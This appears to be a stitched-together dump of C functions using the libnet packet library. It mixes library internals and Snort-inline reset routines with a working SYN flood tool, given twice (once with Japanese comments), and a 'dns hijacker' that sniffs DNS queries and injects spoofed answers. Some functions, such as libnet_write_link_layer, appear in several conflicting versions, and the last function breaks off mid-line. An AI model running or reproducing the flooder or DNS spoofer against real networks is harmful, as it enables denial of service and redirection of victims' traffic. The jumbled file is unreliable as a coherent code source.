int libnet_write_link_layer(struct libnet_link_int *l, const u_char *device, u_char *buf, int len) { int c; struct ifreq ifr; struct ether_header *eh = (struct ether_header *)buf; memset(&ifr, 0, sizeof(ifr)); strncpy(ifr.ifr_name, device, sizeof(ifr.ifr_name)); if (ioctl(l->fd, SIOCGIFADDR, &ifr) == -1) { perror("ioctl SIOCGIFADDR"); return (-1); } memcpy(eh->ether_shost, ifr.ifr_addr.sa_data, sizeof(eh->ether_shost)); if (write(l->fd, buf, len) == -1) { #if (__DEBUG) libnet_error(LIBNET_ERR_WARNING, "libnet_write_link_layer: (%s)\n", strerror(errno)); #endif return (-1); } return (len); }
int libnet_insert_ipo(struct ipoption *opt, u_char opt_len, u_char *buf) { struct libnet_ip_hdr *ip_hdr; u_char *p; u_short s, j; u_char i; if (!buf) { return (-1); } ip_hdr = (struct libnet_ip_hdr *)(buf); s = UNFIX(ip_hdr->ip_len); if ((s + opt_len) > IP_MAXPACKET) { /* * Nope. Too big. */ #if (__DEBUG) libnet_error(LIBNET_ERR_WARNING, "insert_ipo: options list would result in too large of a packet\n"); #endif return (-1); } /* * Do we have more then just an IP header? */ if (s > LIBNET_IP_H) { /* * Move over whatever's in the way. */ memmove((u_char *)ip_hdr + LIBNET_IP_H + opt_len, (u_char *)ip_hdr + LIBNET_IP_H, opt_len); } /* * Copy over option list. We rely on the programmer having been * smart enough to allocate enough heap memory here. Uh oh. */ p = (u_char *)ip_hdr + LIBNET_IP_H; memcpy(p, opt->ipopt_list, opt_len); /* * Count up number of 32-bit words in options list, padding if * neccessary. */ for (i = 0, j = 0; i < opt_len; i++) (i % 4) ? j : j++; ip_hdr->ip_hl += j; ip_hdr->ip_len = FIX(opt_len + s); return (1); }
u_char * libnet_next_packet_from_arena(struct libnet_arena **arena, int p_size) { if (!*arena) { return (NULL); } if (p_size <= 0) { /* * This is a reasonably good choice. Aligned for your happiness. */ p_size = LIBNET_MAX_PACKET + 1; } /* * Align the arena on a 4-byte boundary, suitable for strict architectures * (such as SPARC). */ while (p_size % 4) { ++p_size; } /* * I'm not worried about overflow here. If you actually have somehow * allocated 4 gigs of memory, you're out of control in the first place. */ if (((*arena)->current + p_size) > (*arena)->size) { #if (__DEBUG) libnet_error(LIBNET_ERR_CRITICAL, "next_packet_arena ran out of memory\n"); #endif return (NULL); } /* * Special case of empty arena. */ if ((*arena)->current == 0) { (*arena)->current = p_size; return ((*arena)->memory_pool); } (*arena)->current += p_size; return ((*arena)->memory_pool + (*arena)->current); }
int libnet_write_link_layer(struct libnet_link_int *l, const u_char *device, u_char *buf, int len) { int c; c = write(l->fd, buf, len); if (c != len) { #if (__DEBUG) libnet_error(LN_ERR_WARNING, "write_link_layer: %d bytes written (%s)\n", c, strerror(errno)); #endif } return (c); }
int libnet_write_ip(int sock, u_char *buf, int len) { int c; struct sockaddr_in sin; struct libnet_ip_hdr *ip_hdr; ip_hdr = (struct libnet_ip_hdr *)buf; #if (LIBNET_BSD_BYTE_SWAP) /* * For link access, we don't need to worry about the inconsistencies of * certain BSD kernels. However, raw socket nuances abound. Certain * BSD implmentations require the ip_len and ip_off fields to be in host * byte order. It's MUCH easier to change it here than inside the bpf * writing routine. */ ip_hdr->ip_len = FIX(ip_hdr->ip_len); ip_hdr->ip_off = FIX(ip_hdr->ip_off); #endif memset(&sin, 0, sizeof(struct sockaddr_in)); sin.sin_family = AF_INET; sin.sin_addr.s_addr = ip_hdr->ip_dst.s_addr; c = sendto(sock, buf, len, 0, (struct sockaddr *)&sin, sizeof(struct sockaddr)); #if (LIBNET_BSD_BYTE_SWAP) ip_hdr->ip_len = UNFIX(ip_hdr->ip_len); ip_hdr->ip_off = UNFIX(ip_hdr->ip_off); #endif if (c != len) { #if (__DEBUG) libnet_error(LIBNET_ERR_WARNING, "write_ip: %d bytes written (%s)\n", c, strerror(errno)); #endif } return (c); }
int libnet_write_link_layer(struct libnet_link_int *l, const u_char *device, u_char *buf, int len) { int c; struct sockaddr sa; memset(&sa, 0, sizeof (sa)); strncpy(sa.sa_data, device, sizeof (sa.sa_data)); c = sendto(l->fd, buf, len, 0, &sa, sizeof (sa)); if (c != len) { #if (__DEBUG) libnet_error(LIBNET_ERR_WARNING, "write_link_layer: %d bytes written (%s)\n", c, strerror(errno)); #endif } return (c); }
/* * Function: static void RejectSocket * * Purpose: send a reject packet (tcp-reset or icmp-unreachable * * Args: none * * Returns: nothing void function */ static void RejectSocket(void) { IPHdr *iph; TCPHdr *tcph; ICMPHdr *icmph; int proto; int size = 0; int payload_len = 0; iph = (IPHdr *)l_tcp; proto = tmpP->iph->ip_proto; iph->ip_src.s_addr = tmpP->iph->ip_dst.s_addr; iph->ip_dst.s_addr = tmpP->iph->ip_src.s_addr; switch(proto) { case IPPROTO_TCP: if (!tmpP->frag_flag) { size = IP_H + TCP_H; iph = (IPHdr *)l_tcp; tcph = (TCPHdr *)(l_tcp + IP_H); iph->ip_src.s_addr = tmpP->iph->ip_dst.s_addr; iph->ip_dst.s_addr = tmpP->iph->ip_src.s_addr; tcph->th_sport = tmpP->tcph->th_dport; tcph->th_dport = tmpP->tcph->th_sport; tcph->th_seq = tmpP->tcph->th_ack; tcph->th_ack = htonl(ntohl(tmpP->tcph->th_seq) + 1); //printf("Send TCP Rst in IP-mode.\n"); /* calculate the checksum */ if (libnet_do_checksum(l_tcp, IPPROTO_TCP, TCP_H) == -1) { libnet_error(LIBNET_ERR_CRITICAL, "SendTCPRST: libnet_do_checksum"); return; } /* write it to the socket */ if(libnet_write_ip(libnet_nd, l_tcp, size) < size) { libnet_error(LIBNET_ERR_CRITICAL, "SendTCPRST: libnet_write_ip"); return; } } /* end if !tmpP->frag_flag */ break; case IPPROTO_UDP: if (!tmpP->frag_flag) { iph = (IPHdr *)l_icmp; icmph = (ICMPHdr *)(l_icmp + IP_H); iph->ip_src.s_addr = tmpP->iph->ip_dst.s_addr; iph->ip_dst.s_addr = tmpP->iph->ip_src.s_addr; if ((payload_len = ntohs(tmpP->iph->ip_len) - (IP_HLEN(tmpP->iph) << 2)) > 8) { payload_len = 8; } memcpy((char *)icmph + ICMP_UNREACH_H, tmpP->iph, (IP_HLEN(tmpP->iph) << 2) + payload_len); size = IP_H + ICMP_UNREACH_H + (IP_HLEN(tmpP->iph) << 2) + payload_len; iph->ip_len = htons(size); /* calculate checksums */ if (libnet_do_checksum(l_icmp, IPPROTO_ICMP, size - IP_H) == -1) { libnet_error(LIBNET_ERR_CRITICAL, "SendICMPRST: libnet_do_checksum failed for IPPROTO_ICMP"); return; } /* finally write to socket */ if(libnet_write_ip(libnet_nd, l_icmp, size) < size) { libnet_error(LIBNET_ERR_CRITICAL, "SendICMPRST: libnet_write_ip"); return; } } /* end if !tmpP->frag_flag */ break; } /* end switch(proto) */ }
int main(int argc, char *argv[]) { int packet_size, /* size of our packet */ payload_size, /* size of our packet */ c; /* misc */ u_long src_ip, dst_ip; /* source ip, dest ip */ u_short bport, eport; /* beginning and end ports */ u_short cport; /* current port */ u_char payload[MAX_PAYLOAD_SIZE]; /* packet payload */ u_char *packet; /* pointer to our packet buffer */ char err_buf[LIBNET_ERRBUF_SIZE]; /* error buffer */ u_char *device; /* pointer to the device to use */ struct libnet_link_int *network; /* pointer to link interface struct */ struct libnet_plist_chain plist; /* plist chain */ struct libnet_plist_chain *plist_p; /* plist chain pointer */ printf("libnet example code:\tmodule 4\n\n"); printf("packet injection interface:\tlink layer\n"); printf("packet type:\t\t\tUDP [with payload] using port list chaining\n"); plist_p = NULL; device = NULL; src_ip = 0; dst_ip = 0; while ((c = getopt(argc, argv, "i:d:s:p:")) != EOF) { switch (c) { case 'd': if (!(dst_ip = libnet_name_resolve(optarg, LIBNET_RESOLVE))) { libnet_error(LIBNET_ERR_FATAL, "Bad destination IP address: %s\n", optarg); } break; case 'i': device = optarg; break; case 's': if (!(src_ip = libnet_name_resolve(optarg, LIBNET_RESOLVE))) { libnet_error(LIBNET_ERR_FATAL, "Bad source IP address: %s\n", optarg); } break; case 'p': plist_p = &plist; if (libnet_plist_chain_new(&plist_p, optarg) == -1) { libnet_error(LIBNET_ERR_FATAL, "Could not build port list\n"); } break; default: usage(argv[0]); exit(EXIT_FAILURE); } } if (!src_ip || !dst_ip || !plist_p) { usage(argv[0]); exit(EXIT_FAILURE); } c = argc - optind; if (c != 1) { usage(argv[0]); exit(EXIT_FAILURE); } memset(payload, 0, sizeof(payload)); strncpy(payload, argv[optind], strlen(argv[optind])); /* * Step 1: Network Initialization (interchangable with step 2). */ if (device == NULL) { struct sockaddr_in sin; /* * Try to locate a device. */ if (libnet_select_device(&sin, &device, err_buf) == -1) { libnet_error(LIBNET_ERR_FATAL, "libnet_select_device failed: %s\n", err_buf); } printf("device:\t\t\t\t%s\n", device); } if ((network = libnet_open_link_interface(device, err_buf)) == NULL) { libnet_error(LIBNET_ERR_FATAL, "libnet_open_link_interface: %s\n", err_buf); } /* * Get the payload from the user. Hrm. This might fail on a Sparc * if byte alignment is off... */ payload_size = strlen(payload); /* * We're going to build a UDP packet with a payload using the * link-layer API, so this time we need memory for a ethernet header * as well as memory for the ICMP and IP headers and our payload. */ packet_size = LIBNET_IP_H + LIBNET_ETH_H + LIBNET_UDP_H + payload_size; /* * Step 2: Memory Initialization (interchangable with step 1). */ if (libnet_init_packet(packet_size, &packet) == -1) { libnet_error(LIBNET_ERR_FATAL, "libnet_init_packet failed\n"); } /* * Step 3: Packet construction (ethernet header). */ libnet_build_ethernet(enet_dst, enet_src, ETHERTYPE_IP, NULL, 0, packet); /* * Step 3: Packet construction (IP header). */ libnet_build_ip(LIBNET_UDP_H + payload_size, 0, /* IP tos */ 242, /* IP ID */ 0, /* Frag */ 64, /* TTL */ IPPROTO_UDP, /* Transport protocol */ src_ip, /* Source IP */ dst_ip, /* Destination IP */ NULL, /* Pointer to payload (none) */ 0, packet + LIBNET_ETH_H); /* Packet header memory */ while (libnet_plist_chain_next_pair(plist_p, &bport, &eport)) { while (!(bport > eport) && bport != 0) { cport = bport++; /* * Step 3: Packet construction (UDP header). */ libnet_build_udp(242, /* source port */ cport, /* dest. port */ payload, /* payload */ payload_size, /* payload length */ packet + LIBNET_ETH_H + LIBNET_IP_H); /* * Step 4: Packet checksums (ICMP header *AND* IP header). */ if (libnet_do_checksum(packet + ETH_H, IPPROTO_UDP, LIBNET_UDP_H + payload_size) == -1) { libnet_error(LIBNET_ERR_FATAL, "libnet_do_checksum failed\n"); } if (libnet_do_checksum(packet + ETH_H, IPPROTO_IP, LIBNET_IP_H) == -1) { libnet_error(LIBNET_ERR_FATAL, "libnet_do_checksum failed\n"); } /* * Step 5: Packet injection. */ c = libnet_write_link_layer(network, device, packet, packet_size); if (c < packet_size) { libnet_error(LN_ERR_WARNING, "libnet_write_link_layer only wrote %d bytes\n", c); } else { printf("construction and injection completed, wrote all %d bytes, port %d\n", c, cport); } } } /* * Shut down the interface. */ if (libnet_close_link_interface(network) == -1) { libnet_error(LN_ERR_WARNING, "libnet_close_link_interface couldn't close the interface"); } /* * Free packet memory. */ libnet_destroy_packet(&packet); return (c == -1 ? EXIT_FAILURE : EXIT_SUCCESS); }
int main(int argc, char *argv[]) { u_long dest_ip; u_short dest_port; u_char errbuf[LIBNET_ERRBUF_SIZE], *packet; int opt, network, byte_count, packet_size = LIBNET_IP_H + LIBNET_TCP_H; if(argc < 3) { printf("Usage:\n%s\t <target host> <target port>\n", argv[0]); exit(1); } dest_ip = libnet_name_resolve(argv[1], LIBNET_RESOLVE); // the host dest_port = (u_short) atoi(argv[2]); // the port network = libnet_open_raw_sock(IPPROTO_RAW); // open network interface if (network == -1) libnet_error(LIBNET_ERR_FATAL, "can't open network interface. -- this program must run as root.\n"); libnet_init_packet(packet_size, &packet); // allocate memory for packet if (packet == NULL) libnet_error(LIBNET_ERR_FATAL, "can't initialize packet memory.\n"); libnet_seed_prand(); // seed the random number generator printf("SYN Flooding port %d of %s..\n", dest_port, print_ip(&dest_ip)); while(1) // loop forever (until break by CTRL-C) { libnet_build_ip(LIBNET_TCP_H, // size of the packet sans IP header IPTOS_LOWDELAY, // IP tos libnet_get_prand(LIBNET_PRu16), // IP ID (randomized) 0, // frag stuff libnet_get_prand(LIBNET_PR8), // TTL (randomized) IPPROTO_TCP, // transport protocol libnet_get_prand(LIBNET_PRu32), // source IP (randomized) dest_ip, // destination IP NULL, // payload (none) 0, // payload length packet); // packet header memory libnet_build_tcp(libnet_get_prand(LIBNET_PRu16), // source TCP port (random) dest_port, // destination TCP port libnet_get_prand(LIBNET_PRu32), // sequence number (randomized) libnet_get_prand(LIBNET_PRu32), // acknowledgement number (randomized) TH_SYN, // control flags (SYN flag set only) libnet_get_prand(LIBNET_PRu16), // window size (randomized) 0, // urgent pointer NULL, // payload (none) 0, // payload length packet + LIBNET_IP_H); // packet header memory if (libnet_do_checksum(packet, IPPROTO_TCP, LIBNET_TCP_H) == -1) libnet_error(LIBNET_ERR_FATAL, "can't compute checksum\n"); byte_count = libnet_write_ip(network, packet, packet_size); // inject packet if (byte_count < packet_size) libnet_error(LIBNET_ERR_WARNING, "Warning: Incomplete packet written. (%d of %d bytes)", byte_count, packet_size); usleep(FLOOD_DELAY); // wait for FLOOD_DELAY milliseconds } libnet_destroy_packet(&packet); // free packet memory if (libnet_close_raw_sock(network) == -1) // close the network interface libnet_error(LIBNET_ERR_WARNING, "can't close network interface."); return 0; }
int main(int argc, char *argv[]) { u_long dest_ip; u_short dest_port; u_char errbuf[LIBNET_ERRBUF_SIZE], *packet; int opt, network, byte_count, packet_size = LIBNET_IP_H + LIBNET_TCP_H; if(argc < 3) { printf("使用方法:\n%s\t <対象ホスト> <対象ポート>\n", argv[0]); exit(1); } dest_ip = libnet_name_resolve(argv[1], LIBNET_RESOLVE); // ホスト dest_port = (u_short) atoi(argv[2]); // ポート番号 network = libnet_open_raw_sock(IPPROTO_RAW); // ネットワークインタフェースをオープンする if (network == -1) libnet_error(LIBNET_ERR_FATAL, "can't open network interface. -- this program must run as root.\n"); libnet_init_packet(packet_size, &packet); // パケット用のメモリを割り当てる if (packet == NULL) libnet_error(LIBNET_ERR_FATAL, "can't initialize packet memory.\n"); libnet_seed_prand(); // 乱数生成器に種を与える printf("SYN Flooding port %d of %s..\n", dest_port, print_ip(&dest_ip)); while(1) // 永久ループ(CTRL-Cで終了されるまで) { libnet_build_ip(LIBNET_TCP_H, // IPヘッダを除いたパケットのサイズ IPTOS_LOWDELAY, // IP tos libnet_get_prand(LIBNET_PRu16), // IP ID(乱数化) 0, // 断片化 libnet_get_prand(LIBNET_PR8), // TTL (乱数化) IPPROTO_TCP, // トランスポートプロトコル libnet_get_prand(LIBNET_PRu32), // 送信元IP (乱数化) dest_ip, // 宛先IP NULL, // ペイロード(なし) 0, // ペイロード長 packet); // パケットヘッダメモリ libnet_build_tcp(libnet_get_prand(LIBNET_PRu16), // 送信元TCPポート (乱数化) dest_port, // 宛先TCPポート libnet_get_prand(LIBNET_PRu32), // シーケンス番号 (乱数化) libnet_get_prand(LIBNET_PRu32), // ACK番号 (乱数化) TH_SYN, // コントロールフラグ (SYNフラグのみ設定) libnet_get_prand(LIBNET_PRu16), // ウィンドウサイズ (乱数化) 0, // 至急ポインタ NULL, // ペイロード (なし) 0, // ペイロード長 packet + LIBNET_IP_H); // パケットヘッダメモリ if (libnet_do_checksum(packet, IPPROTO_TCP, LIBNET_TCP_H) == -1) libnet_error(LIBNET_ERR_FATAL, "can't compute checksum\n"); byte_count = libnet_write_ip(network, packet, packet_size); // パケットを注入する if (byte_count < packet_size) libnet_error(LIBNET_ERR_WARNING, "Warning: Incomplete packet written. (%d of %d bytes)", byte_count, packet_size); usleep(FLOOD_DELAY); // FLOOD_DELAYミリ秒待機する } libnet_destroy_packet(&packet); // パケットメモリを解放する if (libnet_close_raw_sock(network) == -1) // ネットワークインタフェースをクローズする libnet_error(LIBNET_ERR_WARNING, "can't close network interface."); return 0; }
int libnet_init_packet_arena(struct libnet_arena **arena, int p_size, u_short p_num) { u_long arena_size; #if (__DEBUG) int alignment_amt; #endif if (!*arena) { return (-1); } if (p_size <= 0) { /* * This is a reasonably good choice. Aligned for your happiness. */ p_size = LIBNET_MAX_PACKET + 1; } if (p_num <= 0) { /* Reasonable AND sensible. */ p_num = 3; } arena_size = (p_size * p_num); /* * Align the arena on a 4-byte boundary, suitable for strict architectures * (such as SPARC). */ while (arena_size % 4) { ++arena_size; } #if (__DEBUG) if ((alignment_amt = (arena_size - (p_size * p_num))) != 0) { libnet_error(LIBNET_ERR_WARNING, "init_packet_arena: had to align %d byte(s)\n", alignment_amt); } #endif (*arena)->memory_pool = (u_char *)malloc(arena_size); if (!(*arena)->memory_pool) { #if (__DEBUG) perror("init_packet_arena malloc failed:"); #endif return (-1); } memset((*arena)->memory_pool, 0, arena_size); (*arena)->current = 0; (*arena)->size = arena_size; return (1); }
/****************************************************************************** * spoof_dns * * * * check some conditions, build the actual packet, and write the answer * * arg1: (int) socket to write on * * ret: none * ******************************************************************************/ void spoof_dns (int socket) { struct in_addr src, dst; /* used for printing addresses */ int written_bytes, /* number of bytes written */ packet_size, /* size of our packet */ i; /* misc */ u_char *packet; /* we build this */ /* * check the following conditions before spoofing * if any of these conditions are violated then no spoofing is done * - we only want to spoof packets from a nameserver * - we only want to spoof packets from questions of type A * - we only want to spoof packets if we have an answer */ if (ntohs(chewycenter.dst_port) != 53) { if (!sflag) { printf("\nignoring packet: destination not a nameserver"); printf("\n--"); } return; } if (!chewycenter.is_a) { if (!sflag) { printf("\nignoring packet: question is not of type A"); printf("\n--"); } return; } if (!chewycenter.have_answer) { if (!sflag) { printf("\nignoring packet: no answer for this question"); printf("\n--"); } return; } /* * if we're here it means we're ready to spoof an answer, lets reflect that * in the spoofed answers count */ num_spoofed_answers++; /* * packet memory allocation */ packet_size = chewycenter.payload_size + LIBNET_IP_H + LIBNET_UDP_H + LIBNET_DNS_H; libnet_init_packet(packet_size, &packet); if (packet == NULL) { libnet_error(LIBNET_ERR_FATAL, "libnet_init_packet failed\n"); return; } /* * ip header construction * source and destination are swapped here because we are spoofing a reply */ libnet_build_ip(LIBNET_UDP_H + LIBNET_DNS_H, 0, /* ip tos */ 0, /* ip id */ 0, /* fragmentation bits */ 64, /* ttl */ IPPROTO_UDP, /* protocol */ chewycenter.dst_address, /* source address */ chewycenter.src_address, /* destination address */ NULL, /* payload */ 0, /* payload length */ packet); /* packet buffer */ /* * udp header construction * source and destination ports are swapped here too * * during debugging i found that we weren't generating the correct * length here, that is why a payload length is included (payload + dns_header) * although, from what i know, it really shouldn't be here */ libnet_build_udp(53, /* source port */ ntohs(chewycenter.src_port), /* destination port */ NULL, /* payload */ chewycenter.payload_size + 12, /* payload length */ packet + LIBNET_IP_H); /* * dns header construction */ libnet_build_dns(ntohs(chewycenter.dns_id), /* dns id */ 0x8580, /* control flags (QR,AA,RD,RA) */ 1, /* number of questions */ 1, /* number of answer RR's */ 0, /* number of authority RR's */ 0, /* number of additional RR's */ chewycenter.payload, /* payload */ chewycenter.payload_size, /* payload length */ packet + LIBNET_IP_H + LIBNET_UDP_H); /* * calculate checksum */ libnet_do_checksum (packet, IPPROTO_UDP, packet_size - LIBNET_IP_H); /* * write packet */ written_bytes = libnet_write_ip(socket, packet, packet_size); /* * make sure the number of written bytes jives with what we expect */ if (written_bytes < packet_size) { printf("\nwarning: "); libnet_error(LN_ERR_WARNING, "libnet only wrote %d of %d bytes", written_bytes, packet_size); printf("\n--"); } /* * we're done with this packet */ libnet_destroy_packet(&packet); /* * announce what we've just done * remember that we've swapped the addresses/ports */ src.s_addr = chewycenter.src_address; dst.s_addr = chewycenter.dst_address; printf("\nspoofing answer: %s:%d > ", inet_ntoa(dst), ntohs(chewycenter.dst_port)); printf("%s:%d", inet_ntoa(src), ntohs(chewycenter.src_port)); printf("\t[%s = %s]", chewycenter.current_question, chewycenter.current_answer); #if defined DEBUG printf("\nDEBUG>\n payload: [%d]", chewycenter.payload_size); for (i = 0; i < 52; i++) printf("%x ", chewycenter.payload[i]); printf("\n"); #endif printf("\n--"); if (oflag) { } }
int main (int argc, char **argv) { int i, opt, socket; /* socket to write on */ char *packet, /* captured packet */ *device = NULL, /* interface to sniff on */ *ft_filename = NULL, /* fabrication table filename */ *output_filename = NULL, /* output statistics filename */ filter[1024], /* tcpdump style capture filter */ errbuf[PCAP_ERRBUF_SIZE]; /* error buffer for pcap */ pid_t pid; /* used in daemonizing */ FILE *os; /* output statistics file handle */ struct pcap_pkthdr pcap_h; /* pcap packet header */ pcap_t *capdev; /* the capture device */ /* * catch sig */ /*if (signal(SIGINT, catch_signals) == SIG_ERR) { perror ("sigset failed for SIGINT"); exit (EXIT_FAILURE); }*/ /* * prepare the chewy center */ memset(&chewycenter, '\0', sizeof(struct cc)); /* * parse the command line */ while ((opt = getopt(argc, argv, "d:f:hi:o:psvz")) != EOF) { switch (opt) { case 'd': /* default answer */ chewycenter.default_answer = optarg; dflag++; break; case 'f': /* fabrication table */ ft_filename = optarg; fflag++; break; case 'i': /* interface */ device = optarg; break; case 'o': /* output statistics filename */ output_filename = optarg; oflag++; break; case 'p': /* print only */ pflag++; break; case 's': /* supress printing of "ignored *" */ sflag++; break; case 'v': /* verbose */ vflag++; break; case 'z': /* daemonize */ zflag++; break; case 'h': /* usage */ case '?': usage(argv); break; } } /* * if there is no default spoof address or fabrication table specified * and the user doesn't just want to print captured dns packets * then we have a problem, because we have no idea what to spoof answers with */ if (!dflag && !fflag && !pflag) usage(argv); /* * if a fabrication table file was specified fill the ftable with values from it */ if (fflag) fill_table(ft_filename); /* * daemonize if we have to * we do this after we fill the table because we chdir() here */ if (zflag) { pid = fork(); if (pid < 0) { printf("\ncould not daemonize"); exit (EXIT_FAILURE); } if (pid != 0) exit (EXIT_SUCCESS); fclose(stdin); fclose(stdout); fclose(stderr); setsid(); chdir("/"); umask(0); } /* * make sure there is a device to sniff on */ if (!device) device = pcap_lookupdev(errbuf); if (!device) { fprintf(stderr, "\ndevice lookup failed"); exit (EXIT_FAILURE); } /* * set capture filter * defaults to only capturing traffic destined to a nameserver */ argc -= optind; argv += optind; strcpy(filter, "udp dst port 53"); if (argc != 0) { strcat(filter, " and "); strcat(filter, copy_argv(argv)); } /* * prepare the device for capturing */ capdev = set_cap_dev(device, filter); /* * if we're not only watching grab a socket to write on */ if (!pflag) if ((socket = libnet_open_raw_sock(IPPROTO_RAW)) == -1) libnet_error(LIBNET_ERR_FATAL, "network initialization failed\n"); /* * print some informative information */ printf("\n[ dns hijacker %s ]\n", VERSION); printf("\nsniffing on: %s", device); printf("\nusing filter: %s", filter); if (dflag) printf("\ndefault answer: %s", chewycenter.default_answer); if (fflag) printf("\nfabrication table: %s", ft_filename); if (pflag) printf("\nprint only mode"); if (sflag) printf("\nsuppressing ignored activity output"); printf("\n"); /* * main loop * this is where it all happens... * - sniff a packet * - parse through that packet printing packet information and * store relevant values in our struct * - build an appropriate fabricated answer and * store it in our struct * - if we're not only watching * write the packet * - if we want to store statistics and we're not only watching * open, write to, and close the statistics file */ for (;;) { packet = (u_char *)pcap_next(capdev, &pcap_h); if (packet == NULL) continue; parse_dns(packet, (int)pcap_h.caplen); if (!pflag) spoof_dns(socket); if (oflag && !pflag) { os = fopen(output_filename, "w+"); fprintf(os, "%d", num_spoofed_answers); fclose(os); } } /* not reached */ return (EXIT_SUCCESS); }
struct libnet_link_int * libnet_open_link_interface(char *device, char *ebuf) { struct ifreq ifr; struct bpf_version bv; u_int v; struct libnet_link_int *l; l = (struct libnet_link_int *)malloc(sizeof(*l)); if (!l) { sprintf(ebuf, "malloc: %s", ll_strerror(errno)); #if (__DEBUG) libnet_error(LN_ERR_CRITICAL, "bpf libnet_open_link_interface: malloc %s", ll_strerror(errno)); #endif return (NULL); } memset(l, 0, sizeof(*l)); l->fd = libnet_bpf_open(ebuf); if (l->fd == -1) { goto bad; } /* * Get bpf version. */ if (ioctl(l->fd, BIOCVERSION, (caddr_t)&bv) < 0) { sprintf(ebuf, "BIOCVERSION: %s", ll_strerror(errno)); goto bad; } if (bv.bv_major != BPF_MAJOR_VERSION || bv.bv_minor < BPF_MINOR_VERSION) { sprintf(ebuf, "kernel bpf filter out of date"); goto bad; } /* * Attach network interface to bpf device. */ strncpy(ifr.ifr_name, device, sizeof(ifr.ifr_name)); if (ioctl(l->fd, BIOCSETIF, (caddr_t)&ifr) == -1) { sprintf(ebuf, "%s: %s", device, ll_strerror(errno)); goto bad; } /* * Get the data link layer type. */ if (ioctl(l->fd, BIOCGDLT, (caddr_t)&v) == -1) { sprintf(ebuf, "BIOCGDLT: %s", ll_strerror(errno)); goto bad; } /* * Assign link type and offset. */ switch (v) { case DLT_SLIP: l->linkoffset = 0x10; break; case DLT_RAW: l->linkoffset = 0x0; break; case DLT_PPP: l->linkoffset = 0x04; break; case DLT_EN10MB: default: l->linkoffset = 0xe; /* default to ethernet */ break; } #if _BSDI_VERSION - 0 >= 199510 switch (v) { case DLT_SLIP: v = DLT_SLIP_BSDOS; l->linkoffset = 0x10; break; case DLT_PPP: v = DLT_PPP_BSDOS; l->linkoffset = 0x04; break; } #endif l->linktype = v; return (l); bad: close(l->fd); /* this can fail ok */ free(l); return (NULL); }
static void RejectLayer2(ipq_packet_msg_t *m) { IPHdr *iph; TCPHdr *tcph; ICMPHdr *icmph; EtherHdr *eh; int proto; int size = 0; int payload_len = 0; /* pointer to the device to use: according to the libnet manpage * this should be u_char, but I get a compiler warning then. * Making it a char fixes that. VJ. */ char *device = NULL; /* to get the mac address of the interface when in layer2 mode */ struct ether_addr *link_addr; u_char enet_dst[6]; /* mac addr for creating the ethernet packet. */ u_char enet_src[6]; /* mac addr for creating the ethernet packet. */ struct libnet_link_int *network = NULL; /* pointer to link interface struct */ int i = 0; iph = (IPHdr *)(l_tcp + ETH_H); proto = tmpP->iph->ip_proto; iph->ip_src.s_addr = tmpP->iph->ip_dst.s_addr; iph->ip_dst.s_addr = tmpP->iph->ip_src.s_addr; /* set the interface. For Nat/Ip-mode the device we use to send a reset to the offender * is the device on which the packet entered. For bridge-mode indev and outdev are always * equal, so we use indev as well. There is one rare exception to this... if on the Snort_ * inline box a client is run that causes a reset, indev is not set but outdev. */ if(m->indev_name[0] != '\0') device = m->indev_name; else device = m->outdev_name; /* Let's initialize Libnet */ if((network = libnet_open_link_interface(device, errbuf)) == NULL) { libnet_error(LIBNET_ERR_FATAL, "libnet_open_link_interface for device %s failed: %s\n", device, errbuf); return; } /* lets get the mac addr of the interface */ if(!(link_addr = libnet_get_hwaddr(network, device, errbuf))) { libnet_error(LIBNET_ERR_FATAL, "libnet_get_hwaddr failed: %s\n", errbuf); return; } /* copy the mac: the src is set the the interface mac * but only if the mac wasn't supplied in the configfile */ if(pv.enet_src[0] == 0 && pv.enet_src[1] == 0 && pv.enet_src[2] == 0 && pv.enet_src[3] == 0 && pv.enet_src[4] == 0 && pv.enet_src[5] == 0) { /* either user set mac as 00:00:00:00:00:00 or it is blank */ for(i = 0; i < 6; i++) enet_src[i] = link_addr->ether_addr_octet[i]; } else { for(i = 0; i < 6; i++) enet_src[i] = pv.enet_src[i]; } /* copy the mac: the old src now becomes dst */ for(i = 0; i < 6; i++) enet_dst[i] = m->hw_addr[i]; //printf("reset src mac: %02X:%02X:%02X:%02X:%02X:%02X\n", enet_src[0],enet_src[1],enet_src[2],enet_src[3],enet_src[4],enet_src[5]); //printf("reset dst mac: %02X:%02X:%02X:%02X:%02X:%02X\n", enet_dst[0],enet_dst[1],enet_dst[2],enet_dst[3],enet_dst[4],enet_dst[5]); switch(proto) { case IPPROTO_TCP: if (!tmpP->frag_flag) { size = ETH_H + IP_H + TCP_H; eh = (EtherHdr *)l_tcp; iph = (IPHdr *)(l_tcp + ETH_H); tcph = (TCPHdr *)(l_tcp + ETH_H + IP_H); iph->ip_src.s_addr = tmpP->iph->ip_dst.s_addr; iph->ip_dst.s_addr = tmpP->iph->ip_src.s_addr; tcph->th_sport = tmpP->tcph->th_dport; tcph->th_dport = tmpP->tcph->th_sport; tcph->th_seq = tmpP->tcph->th_ack; tcph->th_ack = htonl(ntohl(tmpP->tcph->th_seq) + 1); //printf("Send TCP Rst in Bridge-mode.\n"); /* calculate the checksums */ if (libnet_do_checksum(l_tcp + ETH_H, IPPROTO_TCP, TCP_H) == -1) { libnet_error(LIBNET_ERR_CRITICAL, "SendEthTCPRST: libnet_do_checksum failed for TCP_H"); return; } if (libnet_do_checksum(l_tcp + ETH_H, IPPROTO_IP, IP_H) == -1) { libnet_error(LIBNET_ERR_CRITICAL, "SendEthTCPRST: libnet_do_checksum failed for IP_H"); return; } /* build the ethernet packet */ if (libnet_build_ethernet(enet_dst, enet_src, ETHERTYPE_IP, NULL, 0, l_tcp) == -1) { libnet_error(LIBNET_ERR_CRITICAL, "SendEthTCPRST: libnet_build_ethernet"); return; } /* finally write it to the link */ if(libnet_write_link_layer(network, device, l_tcp, size) < size) { libnet_error(LIBNET_ERR_CRITICAL, "SendEthTCPRST: libnet_write_link_layer"); return; } } /* end if !tmpP->frag_flag */ break; case IPPROTO_UDP: if (!tmpP->frag_flag) { eh = (EtherHdr *)l_icmp; iph = (IPHdr *)(l_icmp + ETH_H); icmph = (ICMPHdr *) (l_icmp + ETH_H + IP_H); iph->ip_src.s_addr = tmpP->iph->ip_dst.s_addr; iph->ip_dst.s_addr = tmpP->iph->ip_src.s_addr; if ((payload_len = ntohs(tmpP->iph->ip_len) - (IP_HLEN(tmpP->iph) << 2)) > 8) { payload_len = 8; } memcpy((char *)icmph + ICMP_UNREACH_H, tmpP->iph, (IP_HLEN(tmpP->iph) << 2) + payload_len); size = ETH_H + IP_H + ICMP_UNREACH_H + (IP_HLEN(tmpP->iph) << 